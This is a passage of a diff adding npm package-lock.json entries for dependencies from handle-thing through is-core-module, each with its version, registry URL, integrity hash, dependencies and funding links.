{ + "duplexer": "^0.1.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/handle-thing": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/handle-thing/-/handle-thing-2.0.1.tgz", + "integrity": "sha512-9Qn4yBxelxoh2Ow62nP+Ka/kMnOXRi8BXnRaUwezLNhqelnN49xKz4F/dPP8OYLxLxq6JDtZb2i9XznUQbNPTg==" + }, + "node_modules/has": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", + "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", + "dependencies": { + "function-bind": "^1.1.1" + }, + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/has-bigints": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.0.2.tgz", + "integrity": "sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/has-property-descriptors": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.0.tgz", + "integrity": "sha512-62DVLZGoiEBDHQyqG4w9xCuZ7eJEwNmJRWw2VY84Oedb7WFcA27fiEVe8oUQx9hAUJ4ekurquucTGwsyO1XGdQ==", + "dependencies": { + "get-intrinsic": "^1.1.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.0.1.tgz", + "integrity": "sha512-7qE+iP+O+bgF9clE5+UoBFzE65mlBiVj3tKCrlNQ0Ogwm0BjpT/gK4SlLYDMybDh5I3TCTKnPPa0oMG7JDYrhg==", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz", + "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.0.tgz", + "integrity": "sha512-kFjcSNhnlGV1kyoGk7OXKSawH5JOb/LzUc5w9B02hOTO0dfFRjbHQKvg1d6cf3HbeUmtU9VbbV3qzZ2Teh97WQ==", + "dev": true, + "dependencies": { + "has-symbols": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-yarn": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/has-yarn/-/has-yarn-2.1.0.tgz", + "integrity": "sha512-UqBRqi4ju7T+TqGNdqAO0PaSVGsDGJUBQvk9eUWNGRY1CFGDzYhLWoM7JQEemnlvVcv/YEmc2wNW8BC24EnUsw==", + "engines": { + "node": ">=8" + } + }, + "node_modules/hast-to-hyperscript": { + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/hast-to-hyperscript/-/hast-to-hyperscript-9.0.1.tgz", + "integrity": "sha512-zQgLKqF+O2F72S1aa4y2ivxzSlko3MAvxkwG8ehGmNiqd98BIN3JM1rAJPmplEyLmGLO2QZYJtIneOSZ2YbJuA==", + "dependencies": { + "@types/unist": "^2.0.3", + "comma-separated-tokens": "^1.0.0", + "property-information": "^5.3.0", + "space-separated-tokens": "^1.0.0", + "style-to-object": "^0.3.0", + "unist-util-is": "^4.0.0", + "web-namespaces": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-from-parse5": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/hast-util-from-parse5/-/hast-util-from-parse5-6.0.1.tgz", + "integrity": "sha512-jeJUWiN5pSxW12Rh01smtVkZgZr33wBokLzKLwinYOUfSzm1Nl/c3GUGebDyOKjdsRgMvoVbV0VpAcpjF4NrJA==", + "dependencies": { + "@types/parse5": "^5.0.0", + "hastscript": "^6.0.0", + "property-information": "^5.0.0", + "vfile": "^4.0.0", + "vfile-location": "^3.2.0", + "web-namespaces": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-parse-selector": { + "version": "2.2.5", + "resolved": "https://registry.npmjs.org/hast-util-parse-selector/-/hast-util-parse-selector-2.2.5.tgz", + "integrity": "sha512-7j6mrk/qqkSehsM92wQjdIgWM2/BW61u/53G6xmC8i1OmEdKLHbk419QKQUjz6LglWsfqoiHmyMRkP1BGjecNQ==", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-raw": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/hast-util-raw/-/hast-util-raw-6.0.1.tgz", + "integrity": "sha512-ZMuiYA+UF7BXBtsTBNcLBF5HzXzkyE6MLzJnL605LKE8GJylNjGc4jjxazAHUtcwT5/CEt6afRKViYB4X66dig==", + "dependencies": { + "@types/hast": "^2.0.0", + "hast-util-from-parse5": "^6.0.0", + "hast-util-to-parse5": "^6.0.0", + "html-void-elements": "^1.0.0", + "parse5": "^6.0.0", + "unist-util-position": "^3.0.0", + "vfile": "^4.0.0", + "web-namespaces": "^1.0.0", + "xtend": "^4.0.0", + "zwitch": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-raw/node_modules/parse5": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/parse5/-/parse5-6.0.1.tgz", + "integrity": "sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw==" + }, + "node_modules/hast-util-to-parse5": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/hast-util-to-parse5/-/hast-util-to-parse5-6.0.0.tgz", + "integrity": "sha512-Lu5m6Lgm/fWuz8eWnrKezHtVY83JeRGaNQ2kn9aJgqaxvVkFCZQBEhgodZUDUvoodgyROHDb3r5IxAEdl6suJQ==", + "dependencies": { + "hast-to-hyperscript": "^9.0.0", + "property-information": "^5.0.0", + "web-namespaces": "^1.0.0", + "xtend": "^4.0.0", + "zwitch": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hastscript": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/hastscript/-/hastscript-6.0.0.tgz", + "integrity": "sha512-nDM6bvd7lIqDUiYEiu5Sl/+6ReP0BMk/2f4U/Rooccxkj0P5nm+acM5PrGJ/t5I8qPGiqZSE6hVAwZEdZIvP4w==", + "dependencies": { + "@types/hast": "^2.0.0", + "comma-separated-tokens": "^1.0.0", + "hast-util-parse-selector": "^2.0.0", + "property-information": "^5.0.0", + "space-separated-tokens": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/he": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", + "bin": { + "he": "bin/he" + } + }, + "node_modules/history": { + "version": "4.10.1", + "resolved": "https://registry.npmjs.org/history/-/history-4.10.1.tgz", + "integrity": "sha512-36nwAD620w12kuzPAsyINPWJqlNbij+hpK1k9XRloDtym8mxzGYl2c17LnV6IAGB2Dmg4tEa7G7DlawS0+qjew==", + "dependencies": { + "@babel/runtime": "^7.1.2", + "loose-envify": "^1.2.0", + "resolve-pathname": "^3.0.0", + "tiny-invariant": "^1.0.2", + "tiny-warning": "^1.0.0", + "value-equal": "^1.0.1" + } + }, + "node_modules/hoist-non-react-statics": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-3.3.2.tgz", + "integrity": "sha512-/gGivxi8JPKWNm/W0jSmzcMPpfpPLc3dY/6GxhX2hQ9iGj3aDfklV4ET7NjKpSinLpJ5vafa9iiGIEZg10SfBw==", + "dependencies": { + "react-is": "^16.7.0" + } + }, + "node_modules/hpack.js": { + "version": "2.1.6", + "resolved": "https://registry.npmjs.org/hpack.js/-/hpack.js-2.1.6.tgz", + "integrity": "sha512-zJxVehUdMGIKsRaNt7apO2Gqp0BdqW5yaiGHXXmbpvxgBYVZnAql+BJb4RO5ad2MgpbZKn5G6nMnegrH1FcNYQ==", + "dependencies": { + "inherits": "^2.0.1", + "obuf": "^1.0.0", + "readable-stream": "^2.0.1", + "wbuf": "^1.1.0" + } + }, + "node_modules/htm": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/htm/-/htm-3.1.1.tgz", + "integrity": "sha512-983Vyg8NwUE7JkZ6NmOqpCZ+sh1bKv2iYTlUkzlWmA5JD2acKoxd4KVxbMmxX/85mtfdnDmTFoNKcg5DGAvxNQ==" + }, + "node_modules/html-entities": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-2.4.0.tgz", + "integrity": "sha512-igBTJcNNNhvZFRtm8uA6xMY6xYleeDwn3PeBCkDz7tHttv4F2hsDI2aPgNERWzvRcNYHNT3ymRaQzllmXj4YsQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/mdevils" + }, + { + "type": "patreon", + "url": "https://patreon.com/mdevils" + } + ] + }, + "node_modules/html-minifier-terser": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz", + "integrity": "sha512-YXxSlJBZTP7RS3tWnQw74ooKa6L9b9i9QYXY21eUEvhZ3u9XLfv6OnFsQq6RxkhHygsaUMvYsZRV5rU/OVNZxw==", + "dependencies": { + "camel-case": "^4.1.2", + "clean-css": "^5.2.2", + "commander": "^8.3.0", + "he": "^1.2.0", + "param-case": "^3.0.4", + "relateurl": "^0.2.7", + "terser": "^5.10.0" + }, + "bin": { + "html-minifier-terser": "cli.js" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/html-minifier-terser/node_modules/commander": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-8.3.0.tgz", + "integrity": "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==", + "engines": { + "node": ">= 12" + } + }, + "node_modules/html-tags": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/html-tags/-/html-tags-3.3.1.tgz", + "integrity": "sha512-ztqyC3kLto0e9WbNp0aeP+M3kTt+nbaIveGmUxAtZa+8iFgKLUOD4YKM5j+f3QD89bra7UeumolZHKuOXnTmeQ==", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/html-void-elements": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/html-void-elements/-/html-void-elements-1.0.5.tgz", + "integrity": "sha512-uE/TxKuyNIcx44cIWnjr/rfIATDH7ZaOMmstu0CwhFG1Dunhlp4OC6/NMbhiwoq5BpW0ubi303qnEk/PZj614w==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/html-webpack-plugin": { + "version": "5.5.3", + "resolved": "https://registry.npmjs.org/html-webpack-plugin/-/html-webpack-plugin-5.5.3.tgz", + "integrity": "sha512-6YrDKTuqaP/TquFH7h4srYWsZx+x6k6+FbsTm0ziCwGHDP78Unr1r9F/H4+sGmMbX08GQcJ+K64x55b+7VM/jg==", + "dependencies": { + "@types/html-minifier-terser": "^6.0.0", + "html-minifier-terser": "^6.0.2", + "lodash": "^4.17.21", + "pretty-error": "^4.0.0", + "tapable": "^2.0.0" + }, + "engines": { + "node": ">=10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/html-webpack-plugin" + }, + "peerDependencies": { + "webpack": "^5.20.0" + } + }, + "node_modules/htmlparser2": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-8.0.2.tgz", + "integrity": "sha512-GYdjWKDkbRLkZ5geuHs5NY1puJ+PXwP7+fHPRz06Eirsb9ugf6d8kkXav6ADhcODhFFPMIXyxkxSuMf3D6NCFA==", + "funding": [ + "https://github.com/fb55/htmlparser2?sponsor=1", + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ], + "dependencies": { + "domelementtype": "^2.3.0", + "domhandler": "^5.0.3", + "domutils": "^3.0.1", + "entities": "^4.4.0" + } + }, + "node_modules/http-deceiver": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/http-deceiver/-/http-deceiver-1.2.7.tgz", + "integrity": "sha512-LmpOGxTfbpgtGVxJrj5k7asXHCgNZp5nLfp+hWc8QQRqtb7fUy6kRY3BO1h9ddF6yIPYUARgxGOwB42DnxIaNw==" + }, + "node_modules/http-errors": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz", + "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==", + "dependencies": { + "depd": "2.0.0", + "inherits": "2.0.4", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "toidentifier": "1.0.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/http-parser-js": { + "version": "0.5.8", + "resolved": "https://registry.npmjs.org/http-parser-js/-/http-parser-js-0.5.8.tgz", + "integrity": "sha512-SGeBX54F94Wgu5RH3X5jsDtf4eHyRogWX1XGT3b4HuW3tQPM4AaBzoUji/4AAJNXCEOWZ5O0DgZmJw1947gD5Q==" + }, + "node_modules/http-proxy": { + "version": "1.18.1", + "resolved": "https://registry.npmjs.org/http-proxy/-/http-proxy-1.18.1.tgz", + "integrity": "sha512-7mz/721AbnJwIVbnaSv1Cz3Am0ZLT/UBwkC92VlxhXv/k/BBQfM2fXElQNC27BVGr0uwUpplYPQM9LnaBMR5NQ==", + "dependencies": { + "eventemitter3": "^4.0.0", + "follow-redirects": "^1.0.0", + "requires-port": "^1.0.0" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/http-proxy-middleware": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-2.0.6.tgz", + "integrity": "sha512-ya/UeJ6HVBYxrgYotAZo1KvPWlgB48kUJLDePFeneHsVujFaW5WNj2NgWCAE//B1Dl02BIfYlpNgBy8Kf8Rjmw==", + "dependencies": { + "@types/http-proxy": "^1.17.8", + "http-proxy": "^1.18.1", + "is-glob": "^4.0.1", + "is-plain-obj": "^3.0.0", + "micromatch": "^4.0.2" + }, + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "@types/express": "^4.17.13" + }, + "peerDependenciesMeta": { + "@types/express": { + "optional": true + } + } + }, + "node_modules/http-proxy-middleware/node_modules/is-plain-obj": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-3.0.0.tgz", + "integrity": "sha512-gwsOE28k+23GP1B6vFl1oVh/WOzmawBrKwo5Ev6wMKzPkaXaCDIQKzLnvsA42DRlbVTWorkgTKIviAKCWkfUwA==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/human-signals": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz", + "integrity": "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==", + "engines": { + "node": ">=10.17.0" + } + }, + "node_modules/iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/icss-utils": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-5.1.0.tgz", + "integrity": "sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==", + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/ignore": { + "version": "5.2.4", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.4.tgz", + "integrity": "sha512-MAb38BcSbH0eHNBxn7ql2NH/kX33OkB3lZ1BNdh7ENeRChHTYsTvWrMubiIAMNS2llXEEgZ1MUOBtXChP3kaFQ==", + "engines": { + "node": ">= 4" + } + }, + "node_modules/image-size": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/image-size/-/image-size-1.0.2.tgz", + "integrity": "sha512-xfOoWjceHntRb3qFCrh5ZFORYH8XCdYpASltMhZ/Q0KZiOwjdE/Yl2QCiWdwD+lygV5bMCvauzgu5PxBX/Yerg==", + "dependencies": { + "queue": "6.0.2" + }, + "bin": { + "image-size": "bin/image-size.js" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/immer": { + "version": "9.0.21", + "resolved": "https://registry.npmjs.org/immer/-/immer-9.0.21.tgz", + "integrity": "sha512-bc4NBHqOqSfRW7POMkHd51LvClaeMXpm8dx0e8oE2GORbq5aRK7Bxl4FyzVLdGtLmvLKL7BTDBG5ACQm4HWjTA==", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/immer" + } + }, + "node_modules/immutable": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/immutable/-/immutable-4.3.2.tgz", + "integrity": "sha512-oGXzbEDem9OOpDWZu88jGiYCvIsLHMvGw+8OXlpsvTFvIQplQbjg1B1cvKg8f7Hoch6+NGjpPsH1Fr+Mc2D1aA==" + }, + "node_modules/import-fresh": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.0.tgz", + "integrity": "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==", + "dependencies": { + "parent-module": "^1.0.0", + "resolve-from": "^4.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/import-lazy": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/import-lazy/-/import-lazy-2.1.0.tgz", + "integrity": "sha512-m7ZEHgtw69qOGw+jwxXkHlrlIPdTGkyh66zXZ1ajZbxkDBNjSY/LGbmjc7h0s2ELsUDTAhFr55TrPSSqJGPG0A==", + "engines": { + "node": ">=4" + } + }, + "node_modules/imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", + "engines": { + "node": ">=0.8.19" + } + }, + "node_modules/indent-string": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", + "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", + "engines": { + "node": ">=8" + } + }, + "node_modules/infima": { + "version": "0.2.0-alpha.43", + "resolved": "https://registry.npmjs.org/infima/-/infima-0.2.0-alpha.43.tgz", + "integrity": "sha512-2uw57LvUqW0rK/SWYnd/2rRfxNA5DDNOh33jxF7fy46VWoNhGxiUQyVZHbBMjQ33mQem0cjdDVwgWVAmlRfgyQ==", + "engines": { + "node": ">=12" + } + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + }, + "node_modules/ini": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz", + "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==" + }, + "node_modules/inline-style-parser": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/inline-style-parser/-/inline-style-parser-0.1.1.tgz", + "integrity": "sha512-7NXolsK4CAS5+xvdj5OMMbI962hU/wvwoxk+LWR9Ek9bVtyuuYScDN6eS0rUm6TxApFpw7CX1o4uJzcd4AyD3Q==" + }, + "node_modules/internal-slot": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.5.tgz", + "integrity": "sha512-Y+R5hJrzs52QCG2laLn4udYVnxsfny9CpOhNhUvk/SSSVyF6T27FzRbF0sroPidSu3X8oEAkOn2K804mjpt6UQ==", + "dev": true, + "dependencies": { + "get-intrinsic": "^1.2.0", + "has": "^1.0.3", + "side-channel": "^1.0.4" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/interpret": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/interpret/-/interpret-1.4.0.tgz", + "integrity": "sha512-agE4QfB2Lkp9uICn7BAqoscw4SZP9kTE2hxiFI3jBPmXJfdqiahTbUuKGsMoN2GtqL9AxhYioAcVvgsb1HvRbA==", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/invariant": { + "version": "2.2.4", + "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", + "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", + "dependencies": { + "loose-envify": "^1.0.0" + } + }, + "node_modules/ipaddr.js": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-2.1.0.tgz", + "integrity": "sha512-LlbxQ7xKzfBusov6UMi4MFpEg0m+mAm9xyNGEduwXMEDuf4WfzB/RZwMVYEd7IKGvh4IUkEXYxtAVu9T3OelJQ==", + "engines": { + "node": ">= 10" + } + }, + "node_modules/is-alphabetical": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-alphabetical/-/is-alphabetical-1.0.4.tgz", + "integrity": "sha512-DwzsA04LQ10FHTZuL0/grVDk4rFoVH1pjAToYwBrHSxcrBIGQuXrQMtD5U1b0U2XVgKZCTLLP8u2Qxqhy3l2Vg==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-alphanumerical": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-alphanumerical/-/is-alphanumerical-1.0.4.tgz", + "integrity": "sha512-UzoZUr+XfVz3t3v4KyGEniVL9BDRoQtY7tOyrRybkVNjDFWyo1yhXNGrrBTQxp3ib9BLAWs7k2YKBQsFRkZG9A==", + "dependencies": { + "is-alphabetical": "^1.0.0", + "is-decimal": "^1.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-array-buffer": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/is-array-buffer/-/is-array-buffer-3.0.2.tgz", + "integrity": "sha512-y+FyyR/w8vfIRq4eQcM1EYgSTnmHXPqaF+IgzgraytCFq5Xh8lllDVmAZolPJiZttZLeFSINPYMaEJ7/vWUa1w==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.2.0", + "is-typed-array": "^1.1.10" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-arrayish": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", + "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==" + }, + "node_modules/is-async-function": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-async-function/-/is-async-function-2.0.0.tgz", + "integrity": "sha512-Y1JXKrfykRJGdlDwdKlLpLyMIiWqWvuSd17TvZk68PLAOGOoF4Xyav1z0Xhoi+gCYjZVeC5SI+hYFOfvXmGRCA==", + "dev": true, + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-bigint": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.0.4.tgz", + "integrity": "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg==", + "dev": true, + "dependencies": { + "has-bigints": "^1.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-boolean-object": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.1.2.tgz", + "integrity": "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-buffer": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.5.tgz", + "integrity": "sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "engines": { + "node": ">=4" + } + }, + "node_modules/is-callable": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.7.tgz", + "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-ci": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-ci/-/is-ci-2.0.0.tgz", + "integrity": "sha512-YfJT7rkpQB0updsdHLGWrvhBJfcfzNNawYDNIyQXJz0IViGf75O8EBPKSdvw2rF+LGCsX4FZ8tcr3b19LcZq4w==", + "dependencies": { + "ci-info": "^2.0.0" + }, + "bin": { + "is-ci": "bin.js" + } + }, + "node_modules/is-ci/node_modules/ci-info": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-2.0.0.tgz", + "integrity": "sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ==" + }, + "node_modules/is-core-module": { + "version": "2.13.0", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.13.0.tgz", 